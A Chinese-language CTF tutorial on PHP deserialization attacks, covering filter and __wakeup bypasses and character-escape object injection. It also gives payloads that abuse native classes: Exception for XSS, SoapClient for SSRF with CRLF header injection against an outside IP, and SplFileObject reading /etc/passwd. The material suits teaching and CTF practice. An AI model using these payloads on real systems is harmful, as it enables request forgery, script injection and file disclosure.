一、反序列化介绍
将各类数据类型按照一定的规则转换为字符串,从而方便保存与传递

PHP序列化:
只序列化对象属性,不序列号对象方法
对于不同访问控制修饰符的属性,输出也不同
共有属性:属性名
私有属性:%00类名%00属性名
保护属性:%00*%00属性名
php存在一些魔法方法,在特定场景会被自动调用:
例如:
__construct:在对象诞生时调用
__destruct : 在对象被销毁时调用
__toString : 对象被打印或者强行转为字符串时被调用
__wakeup : 对象被反序列化时被调用
__invoke : 调用函数的方式去调用一个对象的时候被调用
__call : 在对象中调用一个不可访问的方法时调用
…
二、CTF中常用绕过trick
2.1 绕过__wakeup
对象被序列化时首先调用__wakeup函数,这个函数可能会存在一些过滤
绕过方式:CVE-2016-7124
利用方式:序列化字符串中表示对象属性个数的值 大于 真实的属性个数时会跳过__wakeup的执行
使用情况:
php5<5.6.25
php7<7.0.10
例如

2.2 绕过部分正则
一些题目利用正则检查序列化字符串是否是对象字符串开头(preg_match(‘/^O:\d+/‘))
绕过方式:
利用加号绕过:O:+4开头 (php7.2及以上测试无效)
利用数组:serialize(array(a ));
2.3 十六进制绕过
序列化字符串中过滤了一些字符串,可以使用十六进制绕过
例子:
原:
O:4:”test”:1:{s:1:”a”;s:4:”flag”;}
十六进制:
O:4:”test”:1:{s:1:”a”;S:4:” \66lag”;}

2.4 反序列化字符逃逸
在反序列化之前对序列化字符串进行字符串替换操作,可能会造成替换后字符变多/变少,使得外部输入的对象属性逃逸出来,从而构造任意对象反序列化。
例如:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| <?php highlight_file(__FILE__); class king{ public $a; public function __construct($a){ $this->a = $a; } public function __destruct(){ if( $this->a === 'flag'){ echo system('cat /flag'); } } } class User { public $username; public $password; public function __construct($username, $password){ $this->username = $username; $this->password = $password; } } function read($data){ $data = str_replace('\0*\0', chr(0)."*".chr(0), $data); return $data; } function write($data){ $data = str_replace(chr(0)."*".chr(0), '\0*\0', $data); return $data; } $username = $_GET['username']; $password = $_GET['password']; $tmp = new User($username,$password); $data = read(write(serialize($tmp))); if(strstr($data,"flag")){ die('No!'); } else{ unserialize($data); }
|
分析:
需要吃掉22个字符,那么username需要十一个\0*\0
构造password的值
payload:
1 2 3 4 5 6
| $username = 'midi\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0'; $payload = 's:8:"password";O:4:"king":1:{s:1:"a";S:4:"\66lag";}'; $password = ';'.$payload.'}'; echo urlencode($username); echo "\n"; echo urlencode($password);
|
分析上面echo $data的值为
1
| O:4:"User":2:{s:8:"username";s:59:"midi***********";s:8:"password";s:53:";s:8:"password";O:4:"king":1:{s:1:"a";S:4:"\66lag";}}";}
|
综合练习:
2020强网杯 强网先锋-辅助
三、PHP原生类利用
3.1利用Error/Exception类进行XSS
1 2 3
| <?php $a = serialize(new Exception("<script>alert(1)</script>")); ?>
|
得到一个XSS的反序列化字符串,只要能够进行反序列化,并且可控,就可以造成xss漏洞
例如
1 2 3
| <?php echo unserialize($_GET['a']); ?>
|

.
3.2利用soap类进行SSRF
https://bycsec.top/2020/03/18/%E4%BD%BF%E7%94%A8Soap%E7%9A%84ssrf-crlf%E6%94%BB%E5%87%BB/
php中的SoapClient类当调用不存在的方法时,就会出发__call方法,可以发起http请求
例如 2018N1CTF Easy&&Hard Php
payload1:
1 2 3 4 5 6 7 8 9 10
| <?php $target = 'http://123.206.216.198/bbb.php'; $post_string = 'username=admin&password=admin'; $headers = array( 'X-Forwarded-For: 127.0.0.1', 'Cookie: xxxx=1234' ); $b = new SoapClient(null,array('location' => $target,'user_agent'=>'midi\r\nContent-Type: application/x-www-form-urlencoded\r\n'.join('\r\n',$headers).'\r\nContent-Length: '.(string)strlen($post_string).'\r\n\r\n'.$post_string,'uri' => "aaab")); $b->a(); ?>
|
payload2:
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php $target = 'http://123.206.216.198/bbb.php'; $post_string = 'a=b&flag=aaa'; $headers = array( 'X-Forwarded-For: 127.0.0.1', 'Cookie: xxxx=1234' ); $b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab")); $aaa = serialize($b); $aaa = str_replace('^^','%0d%0a',$aaa); $aaa = str_replace('&','%26',$aaa); echo $aaa; ?>
|
3.3利用SplFileObject类读文件
php中内置的SplFileObject类可以用来读取文件(单个)(单行)
1 2 3 4
| <?php $a = new SplFileObject("flag.txt"); echo $a; ?>
|

读取多行
1 2 3 4 5 6
| <?php $a = new SplFileObject("/etc/passwd"); foreach ($a as $b) { echo $b; } ?>
|

3.4利用DirectoryIterator类列目录
1 2 3 4 5 6 7
| <?php $dir=new DirectoryIterator("glob://./*"); foreach($dir as $f){ echo($f."\n"); }
?>
|

或者
1 2 3 4 5 6 7
| <?php $dir=new DirectoryIterator("./"); foreach($dir as $f){ echo($f."\n"); }
?>
|

3.5利用FilesystemIterator类列目录
1 2 3 4 5 6
| <?php $dir = new FilesystemIterator("./"); foreach($dir as $f){ echo($f."\n"); } ?>
|

3.6 练习
2021 XMan入营赛 easyphp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| <?php error_reporting(0); highlight_file(__FILE__); class XMAN{ public $class; public $para; public $check; public function __construct() { $this->class = "Hel"; $this->para = "xctfer"; echo new $this->class ($this->para); } public function __wakeup() { $this->check = new Filter; if($this->check->vaild($this->para) && $this->check->vaild($this->class)) { echo new $this->class ($this->para); } else die('what?Really?'); } } class Hel{ var $a; public function __construct($a) { $this->a = $a; echo ("Hello bro, I guess you are a lazy ".$this->a); } } class Filter{ function vaild($code){ $pattern = '/[!|@|#|$|%|^|&|*|=|\'|"|:|;|?]/i'; if (preg_match($pattern, $code)){ return false; } else return true; } }
if(isset($_GET['xctf'])){ unserialize($_GET['xctf']); } else{ $a=new XMAN; } Hello bro, I guess you are a lazy xctfer
|
题解:
先利用FilesystemIterator列目录,因为过滤了*等什么的,不能使用Directorylterator
